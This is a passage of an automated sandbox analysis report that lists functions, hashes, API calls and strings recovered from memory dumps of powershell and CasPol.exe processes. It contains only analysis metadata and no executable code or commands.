Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7940000_powershell.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 57e3c261afe14089e5d49a8e7eab624b57e7ee145ab2bf2fbccaea81b09ff730
Instruction ID: be7485d5b9a38175fc3a2af4b732f275df3e2e63d2b92c82cc9231efe541d723
Opcode Fuzzy Hash: 57e3c261afe14089e5d49a8e7eab624b57e7ee145ab2bf2fbccaea81b09ff730
Instruction Fuzzy Hash: 5811B4B0A00206CFCB24DF6DC640F6ABFE9AF85658F1484E6D609CB251E774D941CBA1

Function 07941810 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2449822791.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e756286275b57d2881aafd4cbd47e7d953f0a2c75298a2e825dd1f7a7dd813d
Instruction ID: 0cee49b36299c56188f6e5be80ce583547888754eba0a23232d7e73ebdefbc80
Opcode Fuzzy Hash: 7e756286275b57d2881aafd4cbd47e7d953f0a2c75298a2e825dd1f7a7dd813d
Instruction Fuzzy Hash: 3C51A074A402089FCB04CB98C940FAEBBF6EF99714F548468D505AF355CB72DD85CBA1

Function 079417F7 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2449822791.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4292eb1bca443c04d229752c581bbe6ea83dfe09d9e8d80fcf0a95a17e39e488
Instruction ID: 0333a993b434c82ac8803466eab25386dbd564a9f20293fa08ea21bb993d91ca
Opcode Fuzzy Hash: 4292eb1bca443c04d229752c581bbe6ea83dfe09d9e8d80fcf0a95a17e39e488
Instruction Fuzzy Hash: 89517DB4600204DFC755CB98C984FAABBF2EF89718F548499D405AB351C772ED85CFA1

Function 0338D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2408314505.000000000338D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0338D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_338d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b439adfbe46ca1565bbb7ead78a4081d086b2b612da4834805de46c6ccbc80ad
Instruction ID: d6306870d44908522f6c8c11eee13e39dad5e1f165fa994275eb71ae25674f71
Opcode Fuzzy Hash: b439adfbe46ca1565bbb7ead78a4081d086b2b612da4834805de46c6ccbc80ad
Instruction Fuzzy Hash: EE01F7B10043449AD720EB15CDC4B67FF9CEF85324F1CC46AED484B686C27D9841C6B1

Function 0338D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2408314505.000000000338D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0338D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_338d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f77899147943fd3cbd06df8ec08cde0f85831b96c4d5c0c95c622f4e5a85f795
Instruction ID: f275122c3c364a46476e5c476a2c89b7d0f6cabaf793f5552e47eda59f965813
Opcode Fuzzy Hash: f77899147943fd3cbd06df8ec08cde0f85831b96c4d5c0c95c622f4e5a85f795
Instruction Fuzzy Hash: 3301527100E3C09ED7128B25CC94B52BFB8EF47224F1D80DBD9888F2A3C2695844C772

Non-executed Functions

Function 079405E7 Relevance: 7.6, Strings: 6, Instructions: 97COMMON

Download Yara Rule

Strings

$]q, xrefs: 079406B2
4']q, xrefs: 07940657
4']q, xrefs: 0794064B
4']q, xrefs: 079406D3
$]q, xrefs: 079406BE
4']q, xrefs: 079406DF

Memory Dump Source

Source File: 00000007.00000002.2449822791.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7940000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$$]q$$]q
API String ID: 0-2669322367
Opcode ID: d59ab4bd6b079a53f902b429fb94fdc875491a980fc6d6d092d4f75515f7e1f9
Instruction ID: 649f0cc33a5b2a79d07331c0cbe33ad7996d6083e725f6f9d5750e409e25a52e
Opcode Fuzzy Hash: d59ab4bd6b079a53f902b429fb94fdc875491a980fc6d6d092d4f75515f7e1f9
Instruction Fuzzy Hash: D93159B170D7865FC72A523C2830A766FBA4FC35647294AD7C182CF297C9594C0A83E2

Function 07940BE8 Relevance: 5.1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

Strings

$]q, xrefs: 07940C95
$]q, xrefs: 07940C77
$]q, xrefs: 07940C5B
$]q, xrefs: 07940C3F

Memory Dump Source

Source File: 00000007.00000002.2449822791.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7940000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 44453d339e7c9e66d0c0bd771768becb91334a4f05979835a02fd01c0e87be8c
Instruction ID: a69d28f3adbafc8863df95794817820f52b669442ef53e6574d7f65dba6994a3
Opcode Fuzzy Hash: 44453d339e7c9e66d0c0bd771768becb91334a4f05979835a02fd01c0e87be8c
Instruction Fuzzy Hash: F621C0F2A1030ADFDF348E1C8980F6AB7E9AF8561AF1444EACA8987201D775D445CB91

Analysis Process: CasPol.exePID: 6780, Parent PID: 1096COMMON

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	4.8%
Signature Coverage:	7.6%
Total number of Nodes:	145
Total number of Limit Nodes:	13

Executed Functions

Function 00417063 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 004170D5

Memory Dump Source

Source File: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_CasPol.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: d1d4f16ca705b75c08d2dd02030cb8e35a3b9e5fbcaa9c1acce442b9868752c5
Instruction ID: d2bdfe92a6df6b11a72e1f8b55d3ed58340993e138cd653c837ef381cf487159
Opcode Fuzzy Hash: d1d4f16ca705b75c08d2dd02030cb8e35a3b9e5fbcaa9c1acce442b9868752c5
Instruction Fuzzy Hash: 000171B5E0020DBBDF10DBE1DC42FDEB778AB14308F0081AAE90897241F675EB488B95

Function 0042BDA3 Relevance: 1.5, APIs: 1, Instructions: 25
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(?,?,00000000,00000000,0000001F,?,FA0A1F00), ref: 0042BDD7

Memory Dump Source

Source File: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_CasPol.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 665f723a5e82ca476e461ccdd2d259e5560fa7235934546a3ffd52d987c7a3c7
Instruction ID: d90ea754d99db2d9abd4fcdc73495245e7fae96ad713b828660b781994584198
Opcode Fuzzy Hash: 665f723a5e82ca476e461ccdd2d259e5560fa7235934546a3ffd52d987c7a3c7
Instruction Fuzzy Hash: CDE04F712403147BC610AA5AEC41F9B776CDBC5714F004069FA0C67181C7B5BA1487F4

Function 015935C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 015935CA

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7d70567eeeb9923d5261861c8bd022d325adadfb1d252b8f4495550a942f875c
Instruction ID: 97c730bd9524948f2a835945a459f1b86f40965e9cabca7a4daf0c196826a348
Opcode Fuzzy Hash: 7d70567eeeb9923d5261861c8bd022d325adadfb1d252b8f4495550a942f875c
Instruction Fuzzy Hash: 8E900271B4550402D1007198452470A1045A7D0212FA9C811A0424968DC7D58A5166A2

Function 01592B60 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 01592B6A

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5ea679f54c68e226dfad1c94da389f139767e93d12511e73a89eb8f13394d753
Instruction ID: 9bec5591dbf1032131e20b45d50b9607d36c765c82a863d693e430d187eabd83
Opcode Fuzzy Hash: 5ea679f54c68e226dfad1c94da389f139767e93d12511e73a89eb8f13394d753
Instruction Fuzzy Hash: 479002A17424000341057198442461A404AA7E0212B99C421E1014990DC56589916225

Function 01592DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01592DFA

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 796c39dfd38084e6d758731265b4ed7bb187dae5f1e8b850f491e207b545ffb3
Instruction ID: 171b870bc02cceb7448adaeba910954a0ebd3d8faf277a7957d960aa78573c3d
Opcode Fuzzy Hash: 796c39dfd38084e6d758731265b4ed7bb187dae5f1e8b850f491e207b545ffb3
Instruction Fuzzy Hash: 5990027174140413D1117198451470B0049A7D0252FD9C812A0424958DD6968A52A221

Function 01592C70 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 01592C7A

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dd4af944c236730ed0cda2b448c5b855fbbb4f6e0f29ad38edc79e5bb155c3e
Instruction ID: a8ea4630b8e3e461b8d2bd4f5bbce5ba5e76d688ea4690df7f93293ef5c51fb7
Opcode Fuzzy Hash: 8dd4af944c236730ed0cda2b448c5b855fbbb4f6e0f29ad38edc79e5bb155c3e
Instruction Fuzzy Hash: 4290027174148802D1107198841474E0045A7D0312F9DC811A4424A58DC6D589917221

Function 004138AB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

N78Im7H, xrefs: 0041397F, 00413989, 0041399A
N78Im7H, xrefs: 00413991, 00413994

Memory Dump Source

Source File: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_CasPol.jbxd

Yara matches

Similarity

API ID:
String ID: N78Im7H$N78Im7H
API String ID: 0-367025745
Opcode ID: 28ee5cd632557669d2dd44e848351ed38fea0fc8904c636a7d43641d639951a5
Instruction ID: 4648e5c59407577b98a54ef4615caafe9cf6d06a91d48ed6396808800c5f6b04
Opcode Fuzzy Hash: 28ee5cd632557669d2dd44e848351ed38fea0fc8904c636a7d43641d639951a5
Instruction Fuzzy Hash: 47216EB2A0011C7ADB11EFE5AC81AEF7BACDF41369B05406AF944A7200D66D4F4687E5

Function 00413913 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(N78Im7H,00000111,00000000,00000000), ref: 0041398A

Strings

N78Im7H, xrefs: 0041397F, 00413989, 0041399A
N78Im7H, xrefs: 00413991, 00413994

Memory Dump Source

Source File: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_CasPol.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: N78Im7H$N78Im7H
API String ID: 1836367815-367025745
Opcode ID: 6e9e158bc232b550949e5263d5508b52ec7a034c4804832ec4e49465489be997
Instruction ID: 6d1566f69ca9e366af65c351ff72e1759d8cd6f1b82bc289e82513ea6d8c4bcc
Opcode Fuzzy Hash: 6e9e158bc232b550949e5263d5508b52ec7a034c4804832ec4e49465489be997
Instruction Fuzzy Hash: E501A1B1D0021C7AEB10AAA59C82DEF7B7CDF41698F058069FA5467241D6BC4F0687A5

Function 004139AD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(N78Im7H,00000111,00000000,00000000), ref: 0041398A

Strings

N78Im7H, xrefs: 0041397F, 00413989, 0041399A
N78Im7H, xrefs: 00413991, 00413994

Memory Dump Source

Source File: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_CasPol.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: N78Im7H$N78Im7H
API String ID: 1836367815-367025745
Opcode ID: 95fd0b10b958885f51afd5d5c787161506a02b07ac4977fe527e9bc6dfa6409f
Instruction ID: 7c822b42a908f8d86cc350d6eef1b7e316cc8cf0ce2d5fa5375f74fd3ec7ff18
Opcode Fuzzy Hash: 95fd0b10b958885f51afd5d5c787161506a02b07ac4977fe527e9bc6dfa6409f
Instruction Fuzzy Hash: C2F049B262060C29E7215D780C85DF7770C8A09236B0443ABE664863E2D2969EC1C758

Function 0042C0E3 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,55CCCCC3,00000007,00000000,00000004,00000000,004168EC,000000F4), ref: 0042C11C

Memory Dump Source

Source File: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_CasPol.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d04050c8db7351cb7c42311d341b67d43b6c02a65ccfbd1526b30e449c1422bb
Instruction ID: d601fce2e6cfc47c523398d08e96a68e9c79fc9ca5f02ac62e6cc3558dbc2de4
Opcode Fuzzy Hash: d04050c8db7351cb7c42311d341b67d43b6c02a65ccfbd1526b30e449c1422bb
Instruction Fuzzy Hash: D4E0EDB2244214BBD614EF99DC41F9B77ADDFC9714F004459FA08A7281D674BD14CAB8

Function 0042C0A3 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,0041DE11,?,?,00000000,?,0041DE11,?,?,?), ref: 0042C0DC

Memory Dump Source

Source File: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_CasPol.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 53b584e200e5f2eb778bd4060701bbb0a480973bbaf0056c1c6602fc846fd21c
Instruction ID: e057fd75638c54c2a83d139f9191c8a4f81c752b1f28dea9c101fe2514506ad0
Opcode Fuzzy Hash: 53b584e200e5f2eb778bd4060701bbb0a480973bbaf0056c1c6602fc846fd21c
Instruction Fuzzy Hash: 68E06DB1204204BBDA14EE99EC41FAB37ACEFC9714F104019FA08A7281C674BD1487F8

Function 0042C123 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,00000000,00000000,?,53CBBDCC,?,?,53CBBDCC), ref: 0042C157

Memory Dump Source

Source File: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_CasPol.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 29205141e20994605a55deee26b2df85bd7a3aaca56f5563100d8efa15c00275
Instruction ID: 5b3de0624fe0a28c818fb70999a8e3532c71153bdfbe5aac28f931c41c5855af
Opcode Fuzzy Hash: 29205141e20994605a55deee26b2df85bd7a3aaca56f5563100d8efa15c00275
Instruction Fuzzy Hash: 10E086352402147BC610EB5ADC41F9B776CDFC5714F108419FA0CA7181C671BA1487F4

Function 01592C0A Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 01592C24

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e571bff16d6f8299f4bf5df45ecc1deb94117a6a863156bbbc08c4cbd840f09a
Instruction ID: d48c67499909050ca46f38ed2647efd9c76f933430a08ad3f26595eb982689d3
Opcode Fuzzy Hash: e571bff16d6f8299f4bf5df45ecc1deb94117a6a863156bbbc08c4cbd840f09a
Instruction Fuzzy Hash: 31B09B71D415C5D5DF11E7A4470871F794077D0711F59C461D2030A51F4778D1D1E276

Non-executed Functions

Function 015D2349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON

Download Yara Rule

Strings

ExecuteOptions, xrefs: 015D25A0
FrontEndHeapDebugOptions, xrefs: 015D2489
GlobalFlag2, xrefs: 015D2FC0
RaiseExceptionOnPossibleDeadlock, xrefs: 015D2579
Initializing the application verifier package failed with status 0x%08lx, xrefs: 015D3176
MaxDeadActivationContexts, xrefs: 015D2D82
CFGOptions, xrefs: 015D2967
MaxLoaderThreads, xrefs: 015D24EC
UseImpersonatedDeviceMap, xrefs: 015D251C
TracingFlags, xrefs: 015D2549
DisableHeapLookaside, xrefs: 015D246D
MinimumStackCommitInBytes, xrefs: 015D2BB0
DisableExceptionChainValidation, xrefs: 015D275F
ShutdownFlags, xrefs: 015D24A1
GlobalFlag, xrefs: 015D2F3F, 015D3059
@, xrefs: 015D2942
minkernel\ntdll\ldrinit.c, xrefs: 015D3187
LdrpInitializeExecutionOptions, xrefs: 015D317D
@, xrefs: 015D2B74
UnloadEventTraceDepth, xrefs: 015D24C0

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
API String ID: 0-2160512332
Opcode ID: 6d733dbf8ec0dfee8f2d05f8529c18fd1daf03efdc4032882bae73480c09a296
Instruction ID: 8bd2af44911d0a43ed4eca11c44276a9d8723597de6f4ae24f925a0c41327f86
Opcode Fuzzy Hash: 6d733dbf8ec0dfee8f2d05f8529c18fd1daf03efdc4032882bae73480c09a296
Instruction Fuzzy Hash: 56927B71608742AFE731DF28C881B6BBBE9BB84754F04492DFA95DB250D770E844CB92

Function 016012ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON

Download Yara Rule

Strings

Heap block at %p has incorrect segment offset (%x), xrefs: 0160181A
HEAP[%wZ]: , xrefs: 016016CD, 016016F9, 01601749, 0160179B, 016017FC, 01601840, 016018D9
Heap block at %p has corrupted PreviousSize (%lx), xrefs: 0160176D
Free Heap block %p modified at %p after it was freed, xrefs: 0160171B
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x), xrefs: 016018F8
Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x), xrefs: 016018A5
Heap block at %p is not last block in segment (%p), xrefs: 016017B7
Heap entry %p has incorrect PreviousSize field (%04x instead of %04x), xrefs: 0160186B
HEAP: , xrefs: 01601706, 01601756, 016017A8, 01601809, 0160184D, 01601895, 016018E6

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
API String ID: 0-3591852110
Opcode ID: b075a61d661bbe5c9f04e0137fd92cd979e365dc90977f5242ea15d758a11f1e
Instruction ID: 6f82a5f7856d79f8c1fcb0067c2d7938d928f70237d6923b5629ba98459f6c9e
Opcode Fuzzy Hash: b075a61d661bbe5c9f04e0137fd92cd979e365dc90977f5242ea15d758a11f1e
Instruction Fuzzy Hash: 1312CF30600646EFD72B8F69C841BB7BBF1FF0A714F098459E5868B692D734E981CB50

Function 0154D34C Relevance: 11.6, Strings: 9, Instructions: 312COMMON

Download Yara Rule

Strings

@, xrefs: 0154D3E9
PreferredUILanguages, xrefs: 0154D4B8, 0154D4C5
Control Panel\Desktop\MuiCached, xrefs: 0154D62B
@, xrefs: 0154D663
@, xrefs: 0154D49D
PreferredUILanguagesPending, xrefs: 015AA8DE
Control Panel\Desktop, xrefs: 0154D45D
MachinePreferredUILanguages, xrefs: 0154D685
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 0154D3B6

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 0-3532704233
Opcode ID: 11979c172d4368a976b1e19605c15525fa1092ba20b8bae20ba2b8e5c381f217
Instruction ID: 8f9c73a05abeebd498e1de9cdda79af60bf387970856c8daebd2b347fc480c0e
Opcode Fuzzy Hash: 11979c172d4368a976b1e19605c15525fa1092ba20b8bae20ba2b8e5c381f217
Instruction Fuzzy Hash: A6B18B725083569FDB21DF68C480A6FBBF8BB98758F41492EF989DB240D770D904CB92

Function 015E9179 Relevance: 10.4, Strings: 8, Instructions: 401COMMON

Download Yara Rule

Strings

BaseNamedObjects, xrefs: 015E9477, 015E947C
Global\Session\%ld%s, xrefs: 015E94C5
AppContainerNamedObjects, xrefs: 015E946E, 015E94D6
\AppContainerNamedObjects, xrefs: 015E94AB, 015E94B9
\BaseNamedObjects, xrefs: 015E949E
%s\%u-%u-%u-%u, xrefs: 015E9422
\Sessions, xrefs: 015E9488
%s\%ld\%s, xrefs: 015E948D

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
API String ID: 0-3063724069
Opcode ID: 82ec0de9c46c46b46587d570670b2f7171170e898764a536e3f3710fcc1aa4cd
Instruction ID: 1ca04c5449b0ad09e96195446fa3de74bef221917562c59f04701880027c60bd
Opcode Fuzzy Hash: 82ec0de9c46c46b46587d570670b2f7171170e898764a536e3f3710fcc1aa4cd
Instruction Fuzzy Hash: BED1C2B2C05352ABD725DA54C845B6FBBE8BFD4718F04492AFA849F250E770D904CBE2

Function 01600274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON

Download Yara Rule

Strings

Invalid allocation size - %Ix (exceeded %Ix), xrefs: 016006EA
RtlReAllocateHeap, xrefs: 016002BF, 01600362
HEAP[%wZ]: , xrefs: 01600399, 016004A8, 016005D0, 01600675, 016006CC
About to reallocate block at %p to %Ix bytes, xrefs: 016003BA
Just reallocated block at %p to %Ix bytes, xrefs: 016005F1
Just reallocated block at %p to 0x%Ix bytes with tag %ws, xrefs: 0160069F
About to rellocate block at %p to 0x%Ix bytes with tag %ws, xrefs: 016004D3
HEAP: , xrefs: 016003A6, 016004B5, 016005DD, 01600682, 016006D9

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
API String ID: 0-1700792311
Opcode ID: 90446d20e6ff2a4643b595f2b603baec0d7aae0066e7e09b46479ab0d2873229
Instruction ID: d3258e22417a0ba46105c55f33560b11f1235b572edbd35623ee5172f91b98f2
Opcode Fuzzy Hash: 90446d20e6ff2a4643b595f2b603baec0d7aae0066e7e09b46479ab0d2873229
Instruction Fuzzy Hash: 12D1C935500696EFDB2BDFA8C801BAABBF2FF4A644F088049E4459B392D735D981CB14

Function 0154D08D Relevance: 10.2, Strings: 8, Instructions: 249COMMON

Download Yara Rule

Strings

Control Panel\Desktop\LanguageConfiguration, xrefs: 0154D196
@, xrefs: 0154D0FD
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 0154D262
@, xrefs: 0154D2AF
@, xrefs: 0154D313
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 0154D2C3
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 0154D146
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 0154D0CF

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
API String ID: 0-1356375266
Opcode ID: 0c04d6b351b67dc06677bed7be88ea82b0a46afab48de1a9d4e0ca2a26e9ae09
Instruction ID: 98b3ddb08032a08d23e98942b6615f3131f4cf363dce6256ccad66764718059a
Opcode Fuzzy Hash: 0c04d6b351b67dc06677bed7be88ea82b0a46afab48de1a9d4e0ca2a26e9ae09
Instruction Fuzzy Hash: 51A14C719083469FE721DF65C440B5FBBE8BB94729F40492EEA989B240E774D908CF53

Function 0154F172 Relevance: 8.2, Strings: 6, Instructions: 684COMMON

Download Yara Rule

Strings

((LONG)FreeEntry->Size > 1), xrefs: 015AE0B3
HEAP[%wZ]: , xrefs: 015ADF57, 015AE09B, 015AE279, 015AE391
(LONG)FreeEntry->Size > 1, xrefs: 015AE291
(!TrailingUCR), xrefs: 015AE3A9
(UCRBlock != NULL), xrefs: 015ADF6F
HEAP: , xrefs: 015ADF64, 015AE0A8, 015AE286, 015AE39E

Memory Dump Source

